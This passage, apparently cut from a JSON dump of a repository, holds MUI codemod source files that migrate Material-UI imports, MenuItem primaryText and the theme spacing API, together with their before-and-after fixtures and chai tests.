from '@material-ui/core/FormControl';\nimport FormLabel from '@material-ui/core/FormLabel';\nimport Fade from '@material-ui/core/Fade';\nimport StepContent from '@material-ui/core/StepContent';\nimport StepButton from '@material-ui/core/StepButton';\nimport Step from '@material-ui/core/Step';\nimport Stepper from '@material-ui/core/Stepper';\nimport TableRow from '@material-ui/core/TableRow';\nimport TablePagination from '@material-ui/core/TablePagination';\nimport TableCell from '@material-ui/core/TableCell';\nimport TableBody from '@material-ui/core/TableBody';\nimport Table from '@material-ui/core/Table';\nimport TableHead from '@material-ui/core/TableHead';\nimport InputLabel from '@material-ui/core/InputLabel';\nimport Input from '@material-ui/core/Input';\nimport Grow from '@material-ui/core/Grow';\nimport TableFooter from '@material-ui/core/TableFooter';\nimport withWidth, { isWidthUp } from '@material-ui/core/withWidth';\nimport Zoom from '@material-ui/core/Zoom';\nimport ClickAwayListener from '@material-ui/core/ClickAwayListener';\nimport ListSubheader from '@material-ui/core/ListSubheader';\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/import-path.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './import-path';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str ? str.replace(/^\\s+|\\s+$/, '') : '';\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v1.0.0', () => {\n    describe('import-path', () => {\n      it('convert path as needed', () => {\n        const actual = transform(\n          { source: read('./import-path.test/actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./import-path.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./import-path.test/expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./import-path.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/menu-item-primary-text.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('MenuItem')\n    .forEach((path) => {\n      if (!path.node.openingElement.selfClosing) {\n        return;\n      }\n\n      const attributes = path.node.openingElement.attributes;\n      attributes.forEach((node, index) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'primaryText') {\n          delete attributes[index];\n\n          path.node.openingElement.selfClosing = false;\n          path.node.children = [node.value];\n          path.node.closingElement = j.jsxClosingElement(path.node.openingElement.name);\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/menu-item-primary-text.test/actual.js",
    "content": "<div>\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress');\n    }}\n    primaryText=\"My Progress\"\n    rightIcon={<ProgressIcon />}\n  />\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress2');\n    }}\n    primaryText={true ? \"My Progress\" : \"Not progress\"}\n    rightIcon={<ProgressIcon />}\n  />\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress2');\n    }}\n    primaryText={getText('progress')}\n    rightIcon={<ProgressIcon />}\n  />\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress');\n    }}\n    rightIcon={<ProgressIcon />}\n  >\n    Already changed\n  </MenuItem>\n</div>"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/menu-item-primary-text.test/expected.js",
    "content": "<div>\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress');\n    }}\n    rightIcon={<ProgressIcon />}>My Progress</MenuItem>\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress2');\n    }}\n    rightIcon={<ProgressIcon />}>{true ? \"My Progress\" : \"Not progress\"}</MenuItem>\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress2');\n    }}\n    rightIcon={<ProgressIcon />}>{getText('progress')}</MenuItem>\n  <MenuItem\n    onClick={() => {\n      analytics('Clicked Menu > Progress');\n    }}\n    rightIcon={<ProgressIcon />}\n  >\n    Already changed\n  </MenuItem>\n</div>"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/menu-item-primary-text.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './menu-item-primary-text';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str ? str.replace(/^\\s+|\\s+$/, '') : '';\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v1.0.0', () => {\n    describe('menu-item-primary-text', () => {\n      it('convert property as needed', () => {\n        const actual = transform(\n          { source: read('./menu-item-primary-text.test/actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./menu-item-primary-text.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./menu-item-primary-text.test/expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./menu-item-primary-text.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/svg-icon-imports.js",
    "content": "/**\n * Capitalize a string\n * @param {string} string\n */\nfunction capitalize(string) {\n  return string ? `${string[0].toUpperCase()}${string.slice(1)}` : string;\n}\n\n/**\n * Transform kebab-case icon name to PascalCase\n * e.g. access-alarm => AccessAlarm\n * @param {string} iconName\n */\nfunction pascalize(iconName) {\n  return iconName.split('-').map(capitalize).join('');\n}\n\n/**\n * Update all `svg-icons` import references to use `@material-ui/icons` package.\n * Find and replace string literal AST nodes to ensure all svg-icon paths get updated, regardless\n * of being in an import declaration, or a require() call, etc.\n * @param {jscodeshift_api_object} j\n * @param {jscodeshift_ast_object} root\n */\nfunction transformSVGIconImports(j, root) {\n  const pathMatchRegex = /^material-ui\\/svg-icons\\/.+\\/(.+)$/;\n  root\n    .find(j.Literal)\n    .filter((path) => pathMatchRegex.test(path.node.value))\n    .forEach((path) => {\n      const [, iconName] = path.node.value.match(pathMatchRegex);\n\n      // update to new path\n      path.node.value = `@material-ui/icons/${pascalize(iconName)}`;\n    });\n}\n\nmodule.exports = function transformer(fileInfo, api) {\n  const j = api.jscodeshift;\n  const root = j(fileInfo.source);\n\n  // transforms\n  transformSVGIconImports(j, root);\n  return root.toSource({ quote: 'single' });\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/svg-icon-imports.test/actual.js",
    "content": "import CheckCircle from 'material-ui/svg-icons/action/check-circle';\nimport Rotation3D from 'material-ui/svg-icons/action/three-d-rotation';\nimport Comment from 'material-ui/svg-icons/communication/comment';\nconst TransferWithinAStation = require('material-ui/svg-icons/maps/transfer-within-a-station');\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/svg-icon-imports.test/expected.js",
    "content": "import CheckCircle from '@material-ui/icons/CheckCircle';\nimport Rotation3D from '@material-ui/icons/ThreeDRotation';\nimport Comment from '@material-ui/icons/Comment';\nconst TransferWithinAStation = require('@material-ui/icons/TransferWithinAStation');\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/svg-icon-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './svg-icon-imports';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str.replace(/^\\s+|\\s+$/, '');\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v1.0.0', () => {\n    describe('svg-icon-imports', () => {\n      it('update svg-icon imports', () => {\n        const actual = transform(\n          { source: read('./svg-icon-imports.test/actual.js') },\n          { jscodeshift },\n        );\n\n        const expected = read('./svg-icon-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/optimal-imports.js",
    "content": "import { dirname } from 'path';\nimport addImports from 'jscodeshift-add-imports';\nimport getJSExports from '../util/getJSExports';\n\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  const importModule = options.importModule || '@material-ui/core';\n  const targetModule = options.targetModule || '@material-ui/core';\n  const printOptions = options.printOptions || {\n    quote: 'single',\n    trailingComma: true,\n  };\n\n  const root = j(fileInfo.source);\n  const importRegExp = new RegExp(`^${importModule}/([^/]+/)+([^/]+)$`);\n\n  const resultSpecifiers = new Map();\n\n  const addSpecifier = (source, specifier) => {\n    if (!resultSpecifiers.has(source)) {\n      resultSpecifiers.set(source, []);\n    }\n    resultSpecifiers.get(source).push(specifier);\n  };\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (path.value.importKind && path.value.importKind !== 'value') {\n      return;\n    }\n    const importPath = path.value.source.value.replace(/(index)?(\\.js)?$/, '');\n    const match = importPath.match(importRegExp);\n    if (!match) {\n      return;\n    }\n\n    const subpath = match[1].replace(/\\/$/, '');\n\n    if (/^(internal)/.test(subpath)) {\n      return;\n    }\n    const targetImportPath = `${targetModule}/${subpath}`;\n\n    const whitelist = getJSExports(\n      require.resolve(`${importModule}/es/${subpath}`, {\n        paths: [dirname(fileInfo.path)],\n      }),\n    );\n\n    path.node.specifiers.forEach((specifier, index) => {\n      if (!path.node.specifiers.length) {\n        return;\n      }\n\n      if (specifier.importKind && specifier.importKind !== 'value') {\n        return;\n      }\n      if (specifier.type === 'ImportNamespaceSpecifier') {\n        return;\n      }\n      const localName = specifier.local.name;\n      switch (specifier.type) {\n        case 'ImportNamespaceSpecifier':\n          return;\n        case 'ImportDefaultSpecifier': {\n          const moduleName = match[2];\n          if (!whitelist.has(moduleName) && moduleName !== 'withStyles') {\n            return;\n          }\n          addSpecifier(\n            targetImportPath,\n            j.importSpecifier(j.identifier(moduleName), j.identifier(localName)),\n          );\n          path.get('specifiers', index).prune();\n          break;\n        }\n        case 'ImportSpecifier':\n          if (!whitelist.has(specifier.imported.name)) {\n            return;\n          }\n          addSpecifier(targetImportPath, specifier);\n          path.get('specifiers', index).prune();\n          break;\n        default:\n          break;\n      }\n    });\n\n    if (!path.node.specifiers.length) {\n      path.prune();\n    }\n  });\n\n  addImports(\n    root,\n    [...resultSpecifiers.keys()]\n      .sort()\n      .map((source) =>\n        j.importDeclaration(resultSpecifiers.get(source).sort(), j.stringLiteral(source)),\n      ),\n  );\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/optimal-imports.test/actual.js",
    "content": "\nimport { withTheme } from '@material-ui/core/styles';\nimport withStyles from '@material-ui/core/styles/withStyles';\nimport createTheme from '@material-ui/core/styles/createTheme';\nimport MenuItem from '@material-ui/core/MenuItem';\nimport Tab from '@material-ui/core/Tab';\nimport MuiTabs from '@material-ui/core/Tabs';\nimport BottomNavigationAction from '@material-ui/core/BottomNavigationAction';\nimport BottomNavigation from '@material-ui/core/BottomNavigation';\nimport CardContent from '@material-ui/core/CardContent';\nimport CardActions from '@material-ui/core/CardActions';\nimport Card from '@material-ui/core/Card';\nimport CardMedia from '@material-ui/core/CardMedia';\nimport CardHeader from '@material-ui/core/CardHeader';\nimport MuiCollapse from '@material-ui/core/Collapse';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport ListItemAvatar from '@material-ui/core/ListItemAvatar';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport List from '@material-ui/core/List';\nimport DialogTitle from '@material-ui/core/DialogTitle';\nimport Dialog from '@material-ui/core/Dialog';\nimport DialogContentText from '@material-ui/core/DialogContentText';\nimport DialogContent from '@material-ui/core/DialogContent';\nimport DialogActions from '@material-ui/core/DialogActions';\nimport Slide from '@material-ui/core/Slide';\nimport RadioGroup from '@material-ui/core/RadioGroup';\nimport Radio from '@material-ui/core/Radio';\nimport FormControlLabel from '@material-ui/core/FormControlLabel';\nimport ExpansionPanelActions from '@material-ui/core/ExpansionPanelActions';\nimport ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails';\nimport ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary';\nimport ExpansionPanel from '@material-ui/core/ExpansionPanel';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport MuiLinearProgress from '@material-ui/core/LinearProgress';\nimport FormHelperText from '@material-ui/core/FormHelperText';\nimport FormGroup from '@material-ui/core/FormGroup';\nimport FormControl from '@material-ui/core/FormControl';\nimport FormLabel from '@material-ui/core/FormLabel';\nimport Fade from '@material-ui/core/Fade';\nimport StepContent from '@material-ui/core/StepContent';\nimport StepButton from '@material-ui/core/StepButton';\nimport Step from '@material-ui/core/Step';\nimport Stepper from '@material-ui/core/Stepper';\nimport TableRow from '@material-ui/core/TableRow';\nimport TablePagination from '@material-ui/core/TablePagination';\nimport TableCell from '@material-ui/core/TableCell';\nimport TableBody from '@material-ui/core/TableBody';\nimport Table from '@material-ui/core/Table';\nimport TableHead from '@material-ui/core/TableHead';\nimport InputLabel from '@material-ui/core/InputLabel';\nimport Input from '@material-ui/core/Input';\nimport Grow from '@material-ui/core/Grow';\nimport TableFooter from '@material-ui/core/TableFooter';\nimport withWidth, { isWidthUp } from '@material-ui/core/withWidth';\nimport Zoom from '@material-ui/core/Zoom';\nimport ClickAwayListener from '@material-ui/core/ClickAwayListener';\nimport ListSubheader from '@material-ui/core/ListSubheader';\n// just testing that these get ignored\nimport TableContext from '@material-ui/core/Table/TableContext';\nimport TabScrollButton from '@material-ui/core/Tabs/TabScrollButton';\nimport SwitchBase from '@material-ui/core/internal/SwitchBase';\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/optimal-imports.test/expected.js",
    "content": "\nimport { withTheme, withStyles, createTheme } from '@material-ui/core/styles';\nimport MenuItem from '@material-ui/core/MenuItem';\nimport Tab from '@material-ui/core/Tab';\nimport MuiTabs from '@material-ui/core/Tabs';\nimport BottomNavigationAction from '@material-ui/core/BottomNavigationAction';\nimport BottomNavigation from '@material-ui/core/BottomNavigation';\nimport CardContent from '@material-ui/core/CardContent';\nimport CardActions from '@material-ui/core/CardActions';\nimport Card from '@material-ui/core/Card';\nimport CardMedia from '@material-ui/core/CardMedia';\nimport CardHeader from '@material-ui/core/CardHeader';\nimport MuiCollapse from '@material-ui/core/Collapse';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport ListItemAvatar from '@material-ui/core/ListItemAvatar';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport List from '@material-ui/core/List';\nimport DialogTitle from '@material-ui/core/DialogTitle';\nimport Dialog from '@material-ui/core/Dialog';\nimport DialogContentText from '@material-ui/core/DialogContentText';\nimport DialogContent from '@material-ui/core/DialogContent';\nimport DialogActions from '@material-ui/core/DialogActions';\nimport Slide from '@material-ui/core/Slide';\nimport RadioGroup from '@material-ui/core/RadioGroup';\nimport Radio from '@material-ui/core/Radio';\nimport FormControlLabel from '@material-ui/core/FormControlLabel';\nimport ExpansionPanelActions from '@material-ui/core/ExpansionPanelActions';\nimport ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails';\nimport ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary';\nimport ExpansionPanel from '@material-ui/core/ExpansionPanel';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport MuiLinearProgress from '@material-ui/core/LinearProgress';\nimport FormHelperText from '@material-ui/core/FormHelperText';\nimport FormGroup from '@material-ui/core/FormGroup';\nimport FormControl from '@material-ui/core/FormControl';\nimport FormLabel from '@material-ui/core/FormLabel';\nimport Fade from '@material-ui/core/Fade';\nimport StepContent from '@material-ui/core/StepContent';\nimport StepButton from '@material-ui/core/StepButton';\nimport Step from '@material-ui/core/Step';\nimport Stepper from '@material-ui/core/Stepper';\nimport TableRow from '@material-ui/core/TableRow';\nimport TablePagination from '@material-ui/core/TablePagination';\nimport TableCell from '@material-ui/core/TableCell';\nimport TableBody from '@material-ui/core/TableBody';\nimport Table from '@material-ui/core/Table';\nimport TableHead from '@material-ui/core/TableHead';\nimport InputLabel from '@material-ui/core/InputLabel';\nimport Input from '@material-ui/core/Input';\nimport Grow from '@material-ui/core/Grow';\nimport TableFooter from '@material-ui/core/TableFooter';\nimport withWidth, { isWidthUp } from '@material-ui/core/withWidth';\nimport Zoom from '@material-ui/core/Zoom';\nimport ClickAwayListener from '@material-ui/core/ClickAwayListener';\nimport ListSubheader from '@material-ui/core/ListSubheader';\n// just testing that these get ignored\nimport TableContext from '@material-ui/core/Table/TableContext';\nimport TabScrollButton from '@material-ui/core/Tabs/TabScrollButton';\nimport SwitchBase from '@material-ui/core/internal/SwitchBase';\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/optimal-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './optimal-imports';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str ? str.replace(/^\\s+|\\s+$/, '') : '';\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@material-ui/codemod', () => {\n  describe('v4.0.0', () => {\n    describe('optimal-imports', () => {\n      it('convert path as needed', () => {\n        const actual = transform(\n          {\n            source: read('./optimal-imports.test/actual.js'),\n            path: require.resolve('./optimal-imports.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./optimal-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./optimal-imports.test/expected.js'),\n            path: require.resolve('./optimal-imports.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./optimal-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/theme-spacing-api.js",
    "content": "/* eslint-disable no-eval */\n/**\n * Update all `theme.spacing.unit` usages to use `theme.spacing()`.\n * Find and replace string literal AST nodes to ensure all spacing API usages get updated, regardless\n * of any calculation being performed.\n * @param {jscodeshift_api_object} j\n * @param {jscodeshift_ast_object} root\n */\nfunction transformThemeSpacingApi(j, root) {\n  const mightContainApi = (path) => {\n    return (\n      j(path)\n        .find(j.MemberExpression, {\n          object: {\n            property: {\n              name: 'spacing',\n            },\n          },\n          property: {\n            name: 'unit',\n          },\n        })\n        .size() > 0\n    );\n  };\n\n  const replaceApi = (pathArg) => {\n    pathArg\n      .find(j.MemberExpression, {\n        object: {\n          property: {\n            name: 'spacing',\n          },\n        },\n        property: {\n          name: 'unit',\n        },\n      })\n      .replaceWith((path) => {\n        let param = null;\n\n        const themeParam = path.node.object.object.name;\n        if (j.BinaryExpression.check(path.parent.node)) {\n          const expression = path.parent.node;\n          const operation = expression.operator;\n\n          // check if it's a variable\n          if (j.Identifier.check(expression.right)) {\n            param = expression.right;\n          } else if (j.Literal.check(expression.right)) {\n            const value = expression.right.value;\n            if (operation === '*' || operation === '/') {\n              param = j.literal(eval(`1 ${operation} ${value}`));\n            }\n          }\n        }\n\n        if (param) {\n          path.parent.replace(\n            j.callExpression(\n              j.memberExpression(j.identifier(themeParam), j.identifier('spacing')),\n              [param],\n            ),\n          );\n          return path.node;\n        }\n        return j.callExpression(\n          j.memberExpression(j.identifier(themeParam), j.identifier('spacing')),\n          [j.literal(1)],\n        );\n      });\n  };\n\n  const arrowFunctions = root.find(j.ArrowFunctionExpression).filter(mightContainApi);\n  const functionDeclarations = root.find(j.FunctionDeclaration).filter(mightContainApi);\n\n  replaceApi(arrowFunctions);\n  replaceApi(functionDeclarations);\n}\n\n/**\n * Update all `spacing.unit` usages to use `spacing()`.\n * Find and replace string literal AST nodes to ensure all spacing API usages get updated, regardless\n * of any calculation being performed.\n * @param {jscodeshift_api_object} j\n * @param {jscodeshift_ast_object} root\n */\nfunction transformThemeSpacingApiDestructured(j, root) {\n  const mightContainApi = (path) => {\n    return (\n      j(path)\n        .find(j.MemberExpression, {\n          object: {\n            name: 'spacing',\n          },\n          property: {\n            name: 'unit',\n          },\n        })\n        .size() > 0\n    );\n  };\n\n  const replaceApi = (pathArg) => {\n    pathArg\n      .find(j.MemberExpression, {\n        object: {\n          name: 'spacing',\n        },\n        property: {\n          name: 'unit',\n        },\n      })\n      .replaceWith((path) => {\n        let param = null;\n\n        const spacingParam = path.node.object.name;\n        if (j.BinaryExpression.check(path.parent.node)) {\n          const expression = path.parent.node;\n          const operation = expression.operator;\n\n          // check if it's a variable\n          if (j.Identifier.check(expression.right)) {\n            param = expression.right;\n          } else if (j.Literal.check(expression.right)) {\n            const value = expression.right.value;\n            if (operation === '*' || operation === '/') {\n              param = j.literal(eval(`1 ${operation} ${value}`));\n            }\n          }\n        }\n\n        if (param) {\n          path.parent.replace(j.callExpression(j.identifier(spacingParam), [param]));\n          return path.node;\n        }\n        return j.callExpression(j.identifier(spacingParam), [j.literal(1)]);\n      });\n  };\n\n  const arrowFunctions = root.find(j.ArrowFunctionExpression).filter(mightContainApi);\n  const functionDeclarations = root.find(j.FunctionDeclaration).filter(mightContainApi);\n\n  replaceApi(arrowFunctions);\n  replaceApi(functionDeclarations);\n}\n\nmodule.exports = function transformer(fileInfo, api) {\n  const j = api.jscodeshift;\n  const root = j(fileInfo.source);\n\n  // transforms\n  transformThemeSpacingApi(j, root);\n  transformThemeSpacingApiDestructured(j, root);\n  return root.toSource({ quote: 'single' });\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/theme-spacing-api.test/actual.js",
    "content": "const spacingAlone = theme => ({\n  spacing: theme.spacing.unit,\n});\n\nconst spacingMultiply = theme => ({\n  spacing: theme.spacing.unit * 5,\n});\n\nconst spacingDivide = theme => ({\n  spacing: theme.spacing.unit / 5,\n});\n\nconst spacingAdd = theme => ({\n  spacing: theme.spacing.unit + 5,\n});\n\nconst spacingSubtract = theme => ({\n  spacing: theme.spacing.unit - 5,\n});\n\nconst variable = 3;\n\nconst spacingVariable = theme => ({\n  spacing: theme.spacing.unit * variable,\n});\n\nconst spacingParamNameChange = muiTheme => ({\n  spacing: muiTheme.spacing.unit,\n});\n\nfunction styleFunction(theme) {\n  return {\n    spacing: theme.spacing.unit,\n  };\n}\n\nconst theme = {};\nconst shouldntTouch = theme.spacing.unit;\n\nconst styles = muiTheme => ({ root: { spacing: muiTheme.spacing.unit } });\n\nconst longChain = theme => ({\n  spacing: theme.spacing.unit * 5 * 5,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/theme-spacing-api.test/actual_destructured.js",
    "content": "const spacingAlone = ({spacing}) => ({\n  spacing: spacing.unit,\n});\n\nconst spacingMultiply = ({spacing}) => ({\n  spacing: spacing.unit * 5,\n});\n\nconst spacingDivide = ({spacing}) => ({\n  spacing: spacing.unit / 5,\n});\n\nconst spacingAdd = ({spacing}) => ({\n  spacing: spacing.unit + 5,\n});\n\nconst spacingSubtract = ({spacing}) => ({\n  spacing: spacing.unit - 5,\n});\n\nconst variable = 3;\n\nconst spacingVariable = ({spacing}) => ({\n  spacing: spacing.unit * variable,\n});\n\nconst spacingParamNameChange = muiTheme => ({\n  spacing: muiTheme.spacing.unit,\n});\n\nfunction styleFunction({spacing}) {\n  return {\n    spacing: spacing.unit,\n  };\n}\n\nconst longChain = ({spacing}) => ({\n  spacing: spacing.unit * 5 * 5,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/theme-spacing-api.test/expected.js",
    "content": "const spacingAlone = theme => ({\n  spacing: theme.spacing(1),\n});\n\nconst spacingMultiply = theme => ({\n  spacing: theme.spacing(5),\n});\n\nconst spacingDivide = theme => ({\n  spacing: theme.spacing(0.2),\n});\n\nconst spacingAdd = theme => ({\n  spacing: theme.spacing(1) + 5,\n});\n\nconst spacingSubtract = theme => ({\n  spacing: theme.spacing(1) - 5,\n});\n\nconst variable = 3;\n\nconst spacingVariable = theme => ({\n  spacing: theme.spacing(variable),\n});\n\nconst spacingParamNameChange = muiTheme => ({\n  spacing: muiTheme.spacing(1),\n});\n\nfunction styleFunction(theme) {\n  return {\n    spacing: theme.spacing(1),\n  };\n}\n\nconst theme = {};\nconst shouldntTouch = theme.spacing.unit;\n\nconst styles = muiTheme => ({ root: { spacing: muiTheme.spacing(1) } });\n\nconst longChain = theme => ({\n  spacing: theme.spacing(5) * 5,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/theme-spacing-api.test/expected_destructured.js",
    "content": "const spacingAlone = ({spacing}) => ({\n  spacing: spacing(1),\n});\n\nconst spacingMultiply = ({spacing}) => ({\n  spacing: spacing(5),\n});\n\nconst spacingDivide = ({spacing}) => ({\n  spacing: spacing(0.2),\n});\n\nconst spacingAdd = ({spacing}) => ({\n  spacing: spacing(1) + 5,\n});\n\nconst spacingSubtract = ({spacing}) => ({\n  spacing: spacing(1) - 5,\n});\n\nconst variable = 3;\n\nconst spacingVariable = ({spacing}) => ({\n  spacing: spacing(variable),\n});\n\nconst spacingParamNameChange = muiTheme => ({\n  spacing: muiTheme.spacing(1),\n});\n\nfunction styleFunction({spacing}) {\n  return {\n    spacing: spacing(1),\n  };\n}\n\nconst longChain = ({spacing}) => ({\n  spacing: spacing(5) * 5,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/theme-spacing-api.test.js",
    "content": "import path from 'path';\nimport { EOL } from 'os';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-spacing-api';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str.replace(/^\\s+|\\s+$/, '').replace(/\\r*\\n/g, EOL);\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v4.0.0', () => {\n    describe('theme-spacing', () => {\n      it('update theme spacing API', () => {\n        const actual = transform(\n          { source: read('./theme-spacing-api.test/actual.js') },\n          { jscodeshift },\n        );\n\n        const expected = read('./theme-spacing-api.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n\n      it('update theme spacing API for destructured', () => {\n        const actual = transform(\n          { source: read('./theme-spacing-api.test/actual_destructured.js') },\n          { jscodeshift },\n        );\n\n        const expected = read('./theme-spacing-api.test/expected_destructured.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/top-level-imports.js",
    "content": "import addImports from 'jscodeshift-add-imports';\n\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  const importModule = options.importModule || '@material-ui/core';\n  const targetModule = options.targetModule || '@material-ui/core';\n\n  const requirePath = importModule;\n\n  // eslint-disable-next-line global-require, import/no-dynamic-require\n  const whitelist = require(requirePath);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n    trailingComma: true,\n  };\n\n  const root = j(fileInfo.source);\n  const importRegExp = new RegExp(`^${importModule}/(?:[^/]+/)*([^/]+)$`);\n\n  const resultSpecifiers = [];\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (!path.node.specifiers.length) {\n      return;\n    }\n\n    if (path.value.importKind && path.value.importKind !== 'value') {\n      return;\n    }\n    const importPath = path.value.source.value;\n    const match = importPath.match(importRegExp);\n    if (!match) {\n      return;\n    }\n\n    if (importPath.includes('internal/')) {\n      return;\n    }\n\n    path.node.specifiers.forEach((specifier, index) => {\n      if (specifier.importKind && specifier.importKind !== 'value') {\n        return;\n      }\n      if (specifier.type === 'ImportNamespaceSpecifier') {\n        return;\n      }\n\n      switch (specifier.type) {\n        case 'ImportDefaultSpecifier': {\n          const localName = specifier.local.name;\n          const moduleName = match[1];\n          if (whitelist[moduleName] == null) {\n            return;\n          }\n          resultSpecifiers.push(\n            j.importSpecifier(j.identifier(moduleName), j.identifier(localName)),\n          );\n          path.get('specifiers', index).prune();\n          break;\n        }\n        case 'ImportSpecifier':\n          if (\n            whitelist[specifier.imported.name] == null &&\n            specifier.imported.name !== 'withStyles'\n          ) {\n            return;\n          }\n          resultSpecifiers.push(specifier);\n          path.get('specifiers', index).prune();\n          break;\n        default:\n          break;\n      }\n    });\n\n    if (!path.node.specifiers.length) {\n      path.prune();\n    }\n  });\n\n  if (resultSpecifiers.length) {\n    addImports(root, j.importDeclaration(resultSpecifiers, j.stringLiteral(targetModule)));\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v4.0.0/top-level-imports.test/actual.js",
